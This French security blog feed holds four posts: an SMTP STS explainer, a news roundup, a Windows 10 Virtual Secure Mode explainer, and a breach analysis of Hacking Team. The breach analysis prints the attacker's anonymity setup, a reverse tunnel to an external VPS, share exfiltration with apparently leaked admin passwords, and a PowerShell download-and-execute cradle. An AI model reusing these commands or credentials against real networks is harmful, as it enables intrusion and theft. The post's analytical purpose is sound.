Note : le protocole SMTP ne permet pas de rapatrier les emails du serveur de messagerie vers le logiciel client ; les standards POP et IMAP ont été créés dans ce but.
SMTPS, du mieux mais toujours vulnérable
Le standard SMTPS (SMTP avec STARTTLS) a notamment pour objectif d’apporter les améliorations suivantes :
  l’authentification point à point, c’est-à-dire entre le client et les serveurs et entre les serveurs eux-mêmes ;
  l’intégrité des données;
  la confidentialité deséchanges.
SMTPS repose sur TCP (sur le port 587) avec l’extension TLS (niveau session, couche 5 du modèle OSI).
En SMTPS, lors de l’initialisation de la connexion, le clientdemande au serveur s’il supporte TLS. Cela rend le standard vulnérable à des attaques de type « downgrade attack » visant à forcer la non utilisation de TLS, on revient donc sur du simple STMP. Les données étant non chiffrées, leur interception en transit est possible.
Description du mécanisme de « handshake » SMTPS [1] :
D’un point de vue fonctionnel, SMTPS préfère laisser passer un email en clair si un des serveurs ne supporte pas TLS plutôt que de ne pas le transférer. Un choix fait pour simplifier l’adoption de STARTLS et éviter que le déploiement de ce protocole ne vienne bloquer certains internautes dont le fournisseur de messagerie n’aurait pas adopté les nouveaux protocoles de sécurité.
Une autre vulnérabilité de STARTTLS réside dans la vérification du certificat présenté par le serveur : seul prérequis imposé, le certificat présenté doit correspondre à l’enregistrement MX associé au serveur de messagerie. Or, excepté DNSSEC [2] encore très peu déployé aujourd’hui, il n’y a pas de moyen de signer et de vérifier que l’enregistrement MX et le serveur associé appartiennent bien au même domaine. Un attaquant peut donc fournir au serveur expéditeur un faux enregistrement DNS, lui permettant de se positionner en MiTM.
Partant de ces constats, certains des plus grands acteurs du Web (dont Google, Microsoft, Yahoo!, Comcast, LinkedIn, and 1&1 Mail & Media Development) travaillent ensemble afin de mieux sécuriser l’échange d’emails. Ce travail a notamment abouti à l’ébauche du standard SMTPS STS, corrigeant les deux vulnérabilités expliquées précédemment.
SMTP STS, késako ?
Le standard SMTP STS [3](SMTP Strict Transport Security), fruit du travail d’acteurs majeurs du Web est actuellement en cours d’étude. Il vise à forcer les serveurs de messagerie à déclarer publiquement sur le réseau leur capacité à accepter des connexions sécurisées via TLS ainsi que leurs méthodes de validation des certificats.
En pratique le client vérifie si le serveur supporte TLS et s’il présente un certificat valide (concordance des noms, certificat non-expiré et non révoqué, etc.). Si une de ces conditions n’est pas remplie, l’email n’est pas envoyé et l’utilisateur en est informé. En ce sens, SMTP STS est comparable au protocole HSTS (HTTP Strict Transport Security), destiné à assurer la confidentialité des échanges HTTP.
SMTP STS repose sur quatre composants principaux :
  • La politique sémantique : elle précise la manière dont le support de TLS par le serveur cible doit être vérifié et son certificat validé ;
  • La politique d’authentification : il décrit comment l’authenticité de la politique fournie doit être déterminée (via PKI Web ou DNSSEC) :
  • Le rapport d’échec : il formalise le reporting des erreurs ; exemples de types d’erreurs :
    • Inconsistance entre les enregistrements MX et/ou les noms de domaine et d’hôte ;
    • Certificat invalide (chemin de certification invalide, CA invalide, etc.) ou expiré ;
    • STARTTLS non supporté ;
    • Incapacité à valider les enregistrements DNSSEC.
  • La gestion des échecs : elle détaille la manière dont le serveur expéditeur peut gérer les erreurs.
L’ébauche de ce futur potentiel standard a été soumise à l’IETF (Internet Engineering Task Force) le 18 mars 2016 afin que son contenu soit étudié et approuvé.
Le cas échéant, il pourrait ensuite être mis en œuvre par les différents fournisseurs de services de messagerie.
Conclusion
Le standard STMP STS permettra d’offrir une couche de sécurité plus robuste pour l’échange des emails. Il devrait notamment permettre de se prémunir des attaques de type Man in The Middle actuellement possibles, cela en forçant l’authentification des serveurs de messagerie et l’utilisation de mécanismes de chiffrement.
En d’autres termes, il participe à sécuriser le canal de communication. Il ne restera donc pas moins nécessaire de chiffrer le contenu des emails [4] afin d’en garantir la confidentialité de bout en bout.
Il semble en effet délicat de faire confiance à l’ensemble des grands acteurs du Web et des télécommunications, administrateurs des serveurs de messagerie. Par ailleurs cette recommandation revient simplement à appliquer le principe de défense en profondeur.
Sources :
[4] Chiffrer les pièce-jointes via des logiciels (ex. Zed!, AxCrypt, Encryption Wizard) et/ou les emails (via S/MIME ou PGP par ex.)

Mathieu HARTHEISER

Breaking Hacking team – How to

$
0
0


Bref rappel du contexte : Hacking Team[1] est une entreprise qui conçoit et vend des logiciels malveillants ready-to-use aux gouvernements afin d’espionner les journalistes, activistes, opposants, etc. En Juillet 2015, ils ont été victime d’une attaque qui a exposé leurs données internes (emails, clients, zéro-days, etc.) sur Wikileaks. Des exploit kits ont repris leurs zéro-days, des hackers leurs outils, mais un épais brouillard entourait le mode opératoire de l’attaquant …jusqu’à dimanche dernier en tout cas

En effet, une note[2] publiée le 17 avril 2016 sur Pastebin par la personne prétendant avoir attaquée Hacking team, explique en détail sa démarche, ses outils et les challenges rencontrés. Certes ce type de publication est à prendre avec des pincettes, mais vu la qualité de la note, la cohérence des propos et le niveau technique affiché, cela vaut le détour ne serait-ce que pour deux ou trois astuces.

1.    Stay safe

Mener une attaque réussie requiert en premier lieu une infrastructure qui garantit l’anonymat. L’attaquant décrit sa procédure classique :
  • Location de serveurs privés dans un pays non susceptible de coopérer avec le pays de la cible (paiement en bitcoin) ;
  • Utilisation du réseau Tor afin de se connecter sur ce serveur privé ; 
  • Accès au réseau Tor via le WiFi du voisin ou depuis un espace public dans l’idéal - optionnel; 
  • Utilisation d’un système d’exploitation où tout est routé via Tor (Tails, Whonix, etc.) ;
  •  Déploiement de ce système d’exploitation sur une machine virtuelle hébergée sur une partition chiffrée avec TrueCrypt en Hidden volume.



Toutes les requêtes d’attaque ont été menées depuis le serveur privé qui disposait d’une bande passante suffisante pour mener un scan de port, récupérer 40Go de données de la cible, etc.
Le réseau TOR -disposant d’une faible bande passante - permettait de se connecter sur le serveur privé afin d’exécuter des scripts d’attaque, de reconnaissance, etc.

L’utilisation d’un VPN en amont du réseau TOR peut être une option intéressante mais il est nécessaire de choisir un fournisseur[3] qui ne journalise pas les accès et qui ne serait pas coopératif face à une demande de données :
  • AirVPN ;
  • AzireVPN ; 
  • Proxy.sh ;
  •  

2.    Reconnaissance

Une fois l’infrastructure en place, l’attaque a débuté avec, en premier lieu l’incontournable phase de cartographie afin d’identifier l’ensemble des actifs de Hacking Team exposés sur Internet.
Ceci a été effectué de manière classique via une série de whois, reverse whois,… en partant du nom de l’entreprise, son adresse, le nom du registrar, etc.

Étant de petite taille, Hacking Team n’expose que très peu de serveurs sur leur réseau externe 93.62.139.32 - 93.62.139.47.
  • Site Web sur le CMS Joomla ;
  • Serveur Mail ; 
  • Appliance VPN ;
  • Appliance Anti-Spam.

Dès lors trois options se présentèrent à l’attaquant :
  • Identifier une faille 0-day sur Joomla, un scan via l’outil joomscan n’ayant rien révélé ;
  • Identifier une faille 0-day sur Postfix  - outil populaire d’envoi de mails ;
  • Identifier une faille 0-day sur les boitiersVPN.

3.    La valeur ajoutée d’une appliance

a 0day in an embedded device seemed like the easiest option”, cite l’attaquant dans sa note. Perturbant en effet que de préférer s’attaquer à un système embarqué inconnu plutôt qu’à un CMS dont l’historique en matière de sécurité laisse à désirer. Ceci dit, deux semaines de recherche ont suffi à identifier une vulnérabilité de type injection de code à distance sur l’appliance VPN…

Nous n’avons pas le détail de la vulnérabilité, toutefois nous pouvons imaginer qu’il a suivi l’approche suivante :

  • Identification la version et référence du routeur (mire d’authentification, verbosité des bannières, etc.) ;
  • Téléchargement le firmware ou bien le récupérer via du hardware hacking ; 
  • Fuzzing du firmware et/ou inspection manuelle du code désassemblé ;
  • Découverte de la faille.


Le blog devttys0[4] référence nombre de techniques et d’outils afin de mener ce type d’attaques.
Suite à l’identification de la faille, il affina son exploit en le testant sur d’autres équipements vulnérables. Une fois au point, il le déploya sur Hacking Team et mit à jour le firmware du VPN afin de s’accorder un accès root à distance.
Dès lors, il pouvait se connecter légitimement sur le routeur sans risquer de causer une indisponibilité suite à l’utilisation de l’exploit.

4.    Préparation du camp de base

L’idée, une fois la première machine compromise, était de charger les outils d’attaque sur ce qui allait devenir le camp de base de l’attaque. Puisqu’il s’agissait d’un système embarqué, il lui fallut recompiler l’ensemble des outils classiques pour fonctionner sur le nouveau noyau :

  • busybox : contient tous les outils classiques Unix parce que, je cite -I wanted to feel at home in Hacking Team's network-.
  • Nmap : afin d’effectuer les scans interne ; 
  • Tcpdump : sniffeur réseau afin de récupérer le trafic transitant sur la carte réseau – utile pour récupérer les mots de passe en clair ; 
  • Python : car Ruby ne fait tout simplement pas l’affaire… ; 
  • Responder : outil d’interception des challenges NTLM ;
  • Tgcd : un redirecteur de ports afin contourner le pare-feu en routant le trafic via les ports autorisés (détaillé par la suite).

Le schéma de l’attaque est illustrée dans la figure suivante :



5.    NoAuthentication

Un scan du réseau interne depuis le VPN compromis permit d’identifier des instances de la base MongoDB qui hébergeaient les enregistrement audio et vidéo de leurs activités internes.
Par défaut, cette base de données NoSQL ne requiert pas d’authentification (à l’instar de ses compères par ailleurs) et permit donc à l’attaquant de récupérer l’ensemble des données stockées dessus [5].

6.    Convergence LAN-SAN

Le scan interne révéla un autre élément intéressant : un équipement exposant le port 3260. Ce dernier correspondait à une interface iscsi : un protocole permettant de communiquer avec des systèmes de stockage (SAN) via IP.


Encore une fois, aucune authentification ne protégeait l’accès aux systèmes de stockage ce qui permit à l’attaquant d’accéder à l’ensemble du contenu hébergé dessus.
L’attaquant ne pouvait néanmoins utiliser le VPN compromis pour exécuter les commandes iscsi, car les modules noyaux nécessaires ne pouvaient pas facilement être déployés sur le système embarqué en question.
À ce moment-là, L’attaquant eût recours aux outils de redirection des flux : tgcd, NAT dans iptables, etc.

7.    Tunneling mode

L’idée était d’utiliser le serveur privé de l’attaquant (externe) afin de communiquer en iscsi avec le serveur de stockage (interne), en contournant évidemment le filtrage qui interdisait ce protocole depuis l’externe.
L’attaquant utilisa pour cela l’outil tgcd qui établit un tunnel entre deux machines avec redirection du trafic d’un port vers un autre :

  • Une instance présente sur le serveur privé (externe) tournait en mode Listen sur le port 42838 ;

o   tgcd -L -p 3260 -q 42838 (sur VPS_IP)

  • Une seconde instance présente sur le routeur compromis (interne) se connecta à l’instance externe sur le port 42838, établissant ainsi un tunnel entre les deux machines.

o   tgcd -C -s 192.168.200.72:3260 -c VPS_IP:42838 (sur le routeur)

  • De ce fait, le trafic local initié sur le serveur privé  (VPS) à destination du port local 3260 était redirigé vers le port 3260 du SAN de Hacking team en passant par le tunnel.

 

Deux points clés intéressants à propos de cette technique :
Le tunnel est initié par le routeur compromis ce qui permet de contourner les règles de filtrage, qui sont plus généralement plus laxistes envers les flux sortants.
·         Il est possible d’utiliser les outils présents sur le serveur privé sans nécessité de les recompiler;

Pour information une version précompilée de TGCD est disponible sur l’environnement Windows [6]

8.    Récupération des mails

Suite à l’établissement du tunnel, l’utilitaire iscsiadm pouvait être exécuté sur le serveur privé afin de se connecter de manière transparente sur le SAN .
$ iscsiadm -m node --targetname=iqn.2000-01.com.synology:synology-backup.name -p 127.0.0.1 –login

La commande précédente a créé localement le device /dev/sdb1 qui pointait vers le bloc de données au niveau du SAN.
Il était possible ensuite de monter de manière standard cette partition via vmfs-fuse:
$ vmfs-fuse –o ro /dev/sdb1 /mnt/tmp

Le SAN contenait des sauvegardes de machines virtuelles, dont le serveur de messagerie. S’agissant du format VMDK, il était nécessaire de localiser en premier lieu l’offset de la partition à monter :

$ losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk
$ fdisk -l /dev/loop0
/dev/loop0p1            2048  1258287103   629142528    7  HPFS/NTFS/exFAT
 
L’offset étant de 2048 * 512 = 1048576 il était possible de monter le disque via les commandes :
 
$ losetup -o 1048576 /dev/loop1 /dev/loop0
$ mount -o ro /dev/loop1 /mnt/exchange/
 
En parcourant le répertoire monté /mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-14 172311,
L’attaquant y découvrit le disque VHD d’une sauvegarde du serveur Exchange : 
vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /mnt/vhd-disk/
mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1

Ceci lui donna donc accès à une partie des mails sauvegardés sur le SAN.


9.    Escalade de privilèges

Ayant accès aux sauvegardes des machines virtuelles, l’attaquant inspecta les clés de registres via cachedump, pwdump, ... à la recherche d’authentifiants : le compte d’administration des serveurs BlackBerry, besadmin ainsi que son mot de passe furent récupérés ainsi.


Il rejoua ces authentifiants via la connexion sur le partage c$ du serveur Exchange (via proxychains afin de rediriger l’ensemble des flux vers un second tunnel)
proxychains smbclient '//192.168.100.51/c$' -U 'hackingteam.local/besadmin%bes32678!!!'

Bingo, le compte besadmin possédait les privilèges d’administration locale sur le serveur, il était donc possible de déchiffrer les mots de passe présents dans la mémoire du process lsass.exe et ainsi récupérer le compte admin de domaine :



10.Récupération des données

Une fois admin du domaine, l’attaquant s’est amusé à parcourir l’ensemble des partages réseaux et postes de travail à la recherche d’information sensibles.
proxychains smbclient '//192.168.1.230/FAE DiskStation' -U 'HACKINGTEAM/Administrator%uu8dd8ndd12!' -Tc FAE_DiskStation.tar '*'

Il évoque dans sa note différentes astuces facilitant la récupération d’information, mais qui partagent toutes un seul point commun: Powershell..(avec quelques modules comme PowerTools).

·         Récupération de la liste de l’ensemble des fichiers présents sur tous les partages :
Invoke-ShareFinderThreaded -ExcludedShares IPC$,PRINT$,ADMIN$ |
   select-string '^(.*) \t-' | %{dir -recurse $_.Matches[0].Groups[1] |
   select fullname | out-file -append files.txt}

·         Extraction des mails[7] :
New-MailboxExportRequest -Mailbox Administrator -FilePath \\AZUA\Exports\Administrator.pst


·         Récupération des fichiers sharepoint [8]


11.Al ponte

Malgré la quantité de fichiers récupérée sur le domaine Windows, il manquait toujours le golden egg de Hacking Team : le code source de leur outil de surveillance Galileo. Ce dernier, selon la documentation récupérée, serait hébergé sur le réseau Sviluppo. Afin d’y accéder l’attaquant a ciblé les postes des administrateurs Mauro Romeo et Christian Pozzi.

Le poste de Mauro n’exposant pas de ports accessibles, l’attaquant a dû mettre à jour les règles firewall via GPO afin d’autoriser le service WMI, qui contrairement à Psexec laisse peu de traces sur le système et ne déclenche pas d’alertes au niveau des antivirus.
WMI peut être exécuté via un script faisant partie de la bibliothèque Impacket :
wmiexec.pyHACKINGTEAM/Administrator:uu8dd8ndd12!@xx.xx.xx.xx

La console WMI présentait une invite de commande qui a été utilisée pour charger du Powershell en mémoire depuis une machine distante afin de contourner l’antivirus :
cmd.exe  /c powershell iex (New-Object Net.WebClient).DownloadString('http:///Machine_compromise_avec_PS_malveillant');

Ce script malveillant peut être un meterpreter, mimikatz, la suite nishang[9], PowerSploit[10], etc.

Une fois sur le poste de Mauro, l’attaquant enregistra les frappes clavier de ce dernier ainsi que son activité sur l’écran. Il découvrit ainsi la présence d’un volume Truecrypt et attendit patiemment que Mauro le déchiffre de plein gré avant d’inspecter son contenu.
Il y trouva un fichier texte contenant un mot de passe[10] qui permettait d’accéder à l’interface Web du serveur Nagios utilisé pour surveiller le réseau de Sviluppo.


12.Récupération du code source de Galileo

L’interface Web divulguait la présence du produit Centreon Entreprise Server. La version déployée présente de multiples failles publiques  (SQLi + Remote Code Execution) qui nécessitent toutefois d’avoir une session active en cours, d’où l’intérêt de la récupération du mot de passe dans l’étape précédente.
Une fois sur le serveur Nagios, l’attaquant avait accès au réseau de développement et put accéder au github privé de l’entreprise. Il réutilisa le mot de passe Windows d’un développeur et accéda ainsi au code source de Galileo.

Game over…

13.Conclusion

Côté Pentest, nous retrouvons dans la démarche présentée beaucoup d’outils et techniques que nous utilisons régulièrement…d’autres un peu moins : bases NoSQL, SAN, WMI, etc.
Au final cela fait un scénario d’attaque intéressant à garder en tête.

Terminons ce focus sur une phrase emblématique de l’attaquant : “Thanks to hardworking Russians and their exploit kits  […] Almost all of the Fortune 500, with their huge networks, have some bots already inside”.

Références :


Ayoub ELAASSAL

CERT-Solucom : retour sur l'actualité de la semaine du 23 mai

$
0
0

Après quelques semaines d'absence, retrouvez notre revue d'actualité de la sphère cyber-sécurité. Cette compilation de brèves vous permettra d'alimenter les discussions des prochaines pauses cafés !


[Brève] Microsoft va déployer une liste de mots de passe interdits
Dans le but de limiter l’utilisation de mots de passe trop simplistes (les fameux 123456 ou p4$$w0rd), Microsoft a collecté les données de 10 millions d’attaques quotidiennes afin de définir une liste des identifiants les plus utilisés. Ainsi, il sera désormais impossible de créer un mot de passe présent dans cette liste, les limitations seront déployées dans un premier temps sur le service Azure AD.
Source :
https://threatpost.com/microsoft-moves-against-bad-passwords/118330/

[Brève] Une autre attaque sur le réseau SWIFT dévoilée
Le réseau mondial utilisé par les banques pour la gestion des transferts d’argent a récemment annoncé la mise à jour de leur politique de sécurité en réponse à une nouvelle attaque, ce coup-ci sur la banque Banco Del Austro et ayant permis aux attaquants de repartir avec 8 millions de dollars en janvier 2016.
Source :
http://www.scmagazineuk.com/swift-to-update-cyber-security-policies-as-third-heist-pulled-on-user/article/498094/

[Brève] Tor va déployer un protocole distribué pour la génération de nombres aléatoires
Source :
https://nakedsecurity.sophos.com/2016/05/26/tor-takes-on-the-question-what-if-one-of-us-is-using-loaded-dice/

[Brève] Pastejacking, ou pourquoi il ne faut pas faire confiance à votre presse-papiers
Lorsqu’il s’agit de transférer du contenu depuis un site web vers votre ordinateur il est bien souvent plus facile d’utiliser un simple copier-coller. Toutefois un informaticien du nom de Dylan Ayrey a récemment démontré (sur son GitHub ou son site personnel) les risques que cette habitude pouvait induire, en effet grâce à une simple commande javascript un attaquant pourrait facilement remplacer le contenu du presse-papiers en un contenu bien plus malveillant.
Source :
https://nakedsecurity.sophos.com/2016/05/26/why-you-cant-trust-things-you-cut-and-paste-from-web-pages/

[Brève] Le département de la défense américain encore à l'âge des disquettes
Un récent rapport de l’US Government Accounting Office a dévoilé le retard technologique que certaines institutions présentent, avec parfois des disquettes de 80Kb pour gérer les fonctions des bombardiers nucléaires ou de missiles intercontinentaux.
Source :
http://fossbytes.com/us-military-floppy-disk-for-nuclear-force/

[Brève] Google souhaite la disparition des mots de passe avec le projet Abacus
Le projet souhaite utiliser toutes les informations disponibles sur ses utilisateurs (position, vitesse d’écriture, forme du visage, etc…) pour créer un Trust Score afin de prouver une identité sans nécessiter de mot de passe. Évidemment une telle mesure imposerait de fournir à Google encore plus de données personnelles, toutefois les créateurs du projet ont précisé que le calcul du Trust Score ne nécessiterait aucun envoi de données et pourrait être calculé entièrement sur le téléphone.
Source :
https://threatpost.com/google-aims-to-kill-passwords-with-project-abacus/118288/

[Brève] L’entreprise controversée BlueCoat devient une autorité de certification
BlueCoat, connu pour ses logiciels de surveillance du web notamment utilisés en Iran et au Sudan par le régime en place a récemment obtenu un CA (Certificate Authority) intermédiaire de la part de Symantec. Ce certificat facilite grandement les possibilités d’interception de flux dans les produits BlueCoat et a déclenché de nombreuses critiques des communautés de sécurité.
Source :
http://www.theregister.co.uk/2016/05/27/blue_coat_ca_certs/

[Brève] Le FBI alerte contre des keyloggers déguisés en chargeur de téléphone
L’appareil nommé KeySweeper est basé sur un simple circuit arduino qui écoute passivement et renvoie par GSM les frappes des claviers sans fil environnants.
Source :
https://www.helpnetsecurity.com/2016/05/24/keyloggers-usb-device-chargers/

[Brève] Un bug dans le protocole WPAD pourrait permettre des attaques MITM
Le protocole Web Proxy Auto-Discovery permet notamment de s’assurer que tous les postes d’une organisation utilisent bien le même proxy web. La faille pourrait permettre à un attaquant enregistrant le bon nom de domaine de forcer les postes de travail vulnérables à passer à travers son propre proxy web et donc d’intercepter des flux.
Source :
https://www.helpnetsecurity.com/2016/05/24/wpad-name-collision-bug/

[Brève] 13 millions de dollars volés dans des distributeurs de billets au Japon
Dans la matinée du 15 mai 2016 plus de 100 personnes se sont coordonnées pour retirer environ 1,44 milliards de yen en moins de 3 heures. Les retraits ont été effectués à partir d’informations de cartes de crédit volées, provenant notamment d’Afrique du Sud.
Source :
https://www.helpnetsecurity.com/2016/05/23/criminals-stole-millions-atm-japan/

[Brève] Victoire de Google dans le procès l’opposant à Oracle
Après 2 semaines de procès, une cour fédérale a jugé que l’utilisation de Google des API de Java rentrait dans le cadre des lois americaines du “Fair Use”.
Source :
http://fossbytes.com/google-beats-oracle-android-fair-use-java-api/

[Brève] Les détails d’une attaque sur un fournisseur de drones et de technologie d’armement dévoilés
Source :
http://www.theregister.co.uk/2016/05/24/anatomy_of_a_breach_swiss_cert_publishes_analysis_of_ruag_attack/

Xavier GERONDEAU

La sécurité de Windows 10 – Partie 1 :Virtual Secure Mode (Espace virtualisé isolé)

$
0
0
Afficher l'image d'origine

Avec la sortie de Windows 10 et ses multiples nouvelles fonctionnalités de sécurité, les entreprises envisagent de plus en plus la transition de leur parc informatique. Afin de vous éclairer sur ces nouveautés, nous vous proposons une série d’articles sur ces nouveaux mécanismes implémentés par Microsoft. Au programme : Virtual Secure Mode, Credential Guard, Device Guard, Windows Hello, etc.

Présentation
Aujourd’hui, les entreprises équipées de machines sous Windows, que ce soit postes de travail ou serveurs, font face à une augmentation des menaces de sécurité. Du vol d’informations d’authentification à l’infection par des malwares, ces attaques profitent notamment de faiblesses inhérentes à Windows.
Dans le but de répondre à ces problèmes de sécurité, Microsoft a introduit de nouvelles fonctionnalités dans son dernier système d’exploitation, Windows 10. Les plus efficaces de ces nouveaux mécanismes se basent sur un concept particulier : Virtual Secure Mode, ou plus communément appelé « sécurité basée sur la virtualisation » . Il permet de sécuriser le système en créant une enclave protégée tirant parti de la virtualisation.


Figure 1 : Concept du Virtual Secure Mode

Virtual Secure Mode s’appuie sur l’hyperviseur Hyper-V 5.0+ pour créer un environnement sécurisé dans lequel s’exécutent des processus sensibles comme LSA, les routines de chiffrement et le contrôle d’intégrité des services. L’idée est ainsi d’isoler ces processus afin de protéger leur exécution et leurs données lors d’une compromission de l’environnement Windows normal. Microsoft a, en outre, choisi de complétement verrouiller la partition VSM en ne permettant à aucun code tiers de s’exécuter à l‘intérieur, en contrôlant à tout moment l’intégrité de celle-ci et en ne permettant même pas au noyau Windows d’y accéder. Toute compromission de ce dernier n’entrainerait pas de risques pour les processus et données sensibles telles que les informations d’authentification de domaine.

Fonctionnement
Historiquement, l’architecture moderne des processeurs utilise un système d’anneaux afin de protéger les différents niveaux du système d’exploitation en mettant en place une hiérarchie allant du plus privilégié (anneau le plus sécurisé, habituellement le numéro zéro dit Ring 0, qui contrôle l’espace d’adressage physique entier et héberge le kernel) au moins privilégié (anneau le moins sécurisé, habituellement celui au numéro le plus élevé, qui héberge les logiciels utilisateurs).
En intégrant l’hyperviseur Hyper-V dans l’équation, Windows 10 ajoute une nouvelle couche d’abstraction. Le choix a été fait afin d’apporter une séparation des pouvoirs du Ring 0 qui permettait au kernel d’exécuter toutes les instructions mais aussi d’accéder à la mémoire entière. Ainsi, possédant son propre jeu d’instructions lui permettant de s’émanciper des anneaux, Hyper-V a pour rôle de restreindre les actions du Ring 0. Se faisant, il se retrouve de facto en dessous de l’anneau 0 et est surnommé Ring -1. C’est maintenant ce dernier qui peut accéder à toute la mémoire physique, cantonnant le kernel à son rôle d’exécuteur d’instructions. L’hyperviseur est ainsi protégé du kernel et Ring 0.
De plus, sa petite taille en comparaison du reste du système fait qu’il est facile de vérifier son intégrité. Un point important à souligner est que Hyper-V tire profit de fonctions matérielles, notamment au niveau du microprocesseur (CPU), pour fonctionner.
Il aurait pu sembler intéressant d’isoler les processus et données sensibles dans l’hyperviseur, mais celui-ci aurait dès lors vu sa taille et sa complexité ainsi que sa surface d’attaque augmenter considérablement, conduisant à des risques de sécurité. Microsoft a alors imaginé un concept intéressant permettant de garder l’hyperviseur et d’isoler les processus et données critiques : les « Virtual Trust Levels » (VTL).
Les VTL sont des niveaux de sécurité allant de 0 à N (du moins accessible au plus accessible), un VTL est associé à un « Virtual Processor », un processeur virtuel. On peut schématiser de la sorte les deux modèles d’architecture :

Figure 2 : Architecture classique en anneaux à gauche, architecture en anneaux + VTL à droite

On remarque que les VTL apportent une nouvelle dimension. Il est dès lors possible de construire ce genre d’architecture :

Figure 3 : Architecture avec N VTL

Au contraire des anneaux, les VTL sont extensibles à l’infini et isolés les uns des autres. Cette propriété provient de l’utilisation de la traduction d’adresses de second niveau (Second Level Adress Translation ou SLAT), une technologie de virtualisation permettant d’éviter le problème de surcharge des « shadow page tables » (SPT), espace d’adressage utilisé par les machines virtuelles. SLAT permet en outre un mapping efficace entre hôte virtuel, hôte invité et système de pages physiques. Ainsi, les accès aux sections mémoires peuvent être facilement protégés et isolés les uns des autres.
Microsoft a fait le choix de deux VTL :

Figure 4 : Architecture de la sécurité basée sur virtualisation de Windows 10

À l’activation de Virtual Secure Mode, deux partitions virtualisées isolées (instances de machines virtuelles) sont créées :

  • Un « monde normal », s’exécutant dans le VTL0, dans lequel tourne le système Windows normal
  • Un « monde sécurisé », s’exécutant dans le VTL1, dans lequel tourne un système minimal hébergeant uniquement des composants critiques. La partie utilisateur de cet environnement sécurisé est appelée « Isolated User Mode » (IUM)
Puisque nous ne pouvons pas faire confiance à VTL0, la communication entre les deux partitions est quasi unidirectionnelle :
  •  VTL1 est quasi inaccessible à VTL0 (quelques données sont quand même partagées entre les deux partitions)
  • VTL1 ne peut accéder à VTL0 que par un canal sécurisé
En outre, c’est l’hyperviseur qui gère les accès en utilisant « Extended Page Tables » (EPT), l’implémentation Intel de SLAT. Celui-ci peut alors poser les restrictions suivantes sur VTL0, restrictions qui représentent en fait les nouvelles fonctionnalités de sécurité dans Windows 10 :
  • Bloquer la lecture (+R) : permet de cacher les secrets cryptographiques (Credential Guard)
  •  Bloquer la lecture, l’écriture et l’exécution (+RWX) : permet de bloquer l’exécution de code et la modification de code (Device Guard)
  • Bloquer l’écriture (+W) : permet de prévenir la modification de pages exécutables partagés avec VTL1
Voici une représentation des partitions en Virtual Secure Mode :


Figure 5 : Architecture générale du Virtual Secure Mode

Le monde sécurisé est composé du :

  • Secure Kernel Mode » (SKM) qui ne fait que le strict minimum (e. g. chiffrement des pages avant transfert en mémoire, …)
  • Isolated user Mode » (IUM) qui comprend des processus et données sensibles (e. g. les informations d’authentification, etc.)


Figure 6 : Architecture du Virtual Secure Mode

Les processus critiques dans le monde sécurisé sont appelés « Trustlets », ce sont des processus de confiance. Limités en nombre, ils sont isolés les uns des autres afin qu’un trustlet compromis ne corrompe pas le reste du système. C’est un module du secure kernel, « Hypervisor based Code Integrity », qui décide si un binaire peut être lancé en tant que trustlet ou non.
L’un des trustlets les plus intéressants est lsalso.exe, qui fournit la protection des informations d’authentification de domaine, Credential Guard. Cette fonctionnalité permet le chiffrement des secrets Kerberos et NTLM sans les rendre visibles à un attaquant extérieur, mais aussi le stockage sécurisé de la clé machine (machine key) avec Kerberos FAST, afin de se prémunir des attaques par rejeu et garantir l’origine du ticket-granting ticket (TGT). Le seul moyen d’accéder à ces secrets serait l’exploitation de vulnérabilités dans l’hyperviseur ou le matériel.
Les trustlets n’ont pas accès à CSRSS, aux redirections DLL, etc…
Enfin, Microsoft ne permet pas de créer ses propres trustlets. Mais, même dans le cas où il serait possible d’en créer (modification du système) et de les charger, notre trustlet devrait remplir certaines contraintes critiques de sécurité.

Figure 7 : Architecture de la sécurité basée sur la virtualisation

Intéressons-nous maintenant au monde sécurisé. Comme précédemment dit, l’hyperviseur se trouve sur un « anneau » bien à lui en dessous de l’anneau 0. Bien que ne faisant pas partie des mêmes VTL, le secure kernel mode (SKM) et normal kernel mode partagent le même anneau (Ring 0), de même que l’isolated user mode (IUM) et le normal user mode partagent le Ring 3.
Le SKM est composé de plusieurs éléments :

  • Un kernel minimal appelé Smart Kernel (SK)
  • Des modules pour le noyau :
    •  cng.sys (fournit les nouveaux services cryptographiques)
    •  skci.dll (driver de Code Integrity, nécessaire à Device Guard), aussi appelé « Hypervisor-based Code Integrity » (HVCI), est une version plus simple mais fonctionnellement identique de ci.dll, la bibliothèque standard de Code Integrity des systèmes Windows
Le SKM va, en outre, marquer les entrées dans l’EPT comme exécutable seulement si le HVCI a confirmé que le code dans les pages est signé. De manière globale, le kernel ne peut pas exécuter de pages exécutables provenant de l’IUM.
Les communications entre le monde normal et le monde sécurisé se font via des canaux sécurisés
Les trustlets communiquent avec les processus du monde normal grâce à des appels à distance RPC
Le kernel normal et le kernel sécurisé communiquent via des appels systèmes spécifiques au travers de l’hyperviseur
Ainsi, même si le monde normal est compromis, les canaux sécurisés permettent de garder le VTL1 en sécurité. Le monde sécurisé n’autorise aucune interaction avec l’utilisateur et aucune exécution de code tiers n’est permise par le secure kernel. Les performances de la sécurité basée sur la virtualisation sont optimisées matériellement et logiciellement, de sorte à avoir un impact minimal inférieur à 5%.

Prérequis
La sécurité basée sur la virtualisation nécessite quelques prérequis permettant de fournir un haut niveau de sécurité :

  • Windows 10 Enterprise 64-bits
  • Secure Boot, pour être sûr que le firmware lancé au démarrage est sûr
  • Technologie de virtualisation IOMMU (VT-d, AMD-Vi, etc.) afin de gérer les accès mémoire vers le monde sécurisé
  • Puce TPM 2.0 pour de stocker les secrets et clés dans le matériel
Néanmoins, la sécurité basée sur la virtualisation peut être activée malgré certaines contraintes matérielles non respectées, la sécurité du système en sera par contre réduite.

Installation
L’activation du Virtual Secure Mode est très simple puisqu’elle peut se faire par l’intermédiaire des stratégies de groupe (GPO) :

Figure 8 : Activation de la sécurité basée sur la virtualisation par GPO

Il est conseillé d’activer le démarrage sécurisé (Secure Boot) et les protections DMA qui correspondent à la protection matérielle apportée par la technologie de virtualisation.
Il faut aussi activer l’IUM et les fonctionnalités Hyper-V :

Figure 9 : Activation du mode utilisateur isolé et des fonctionnalités Hyper-V

Conclusion
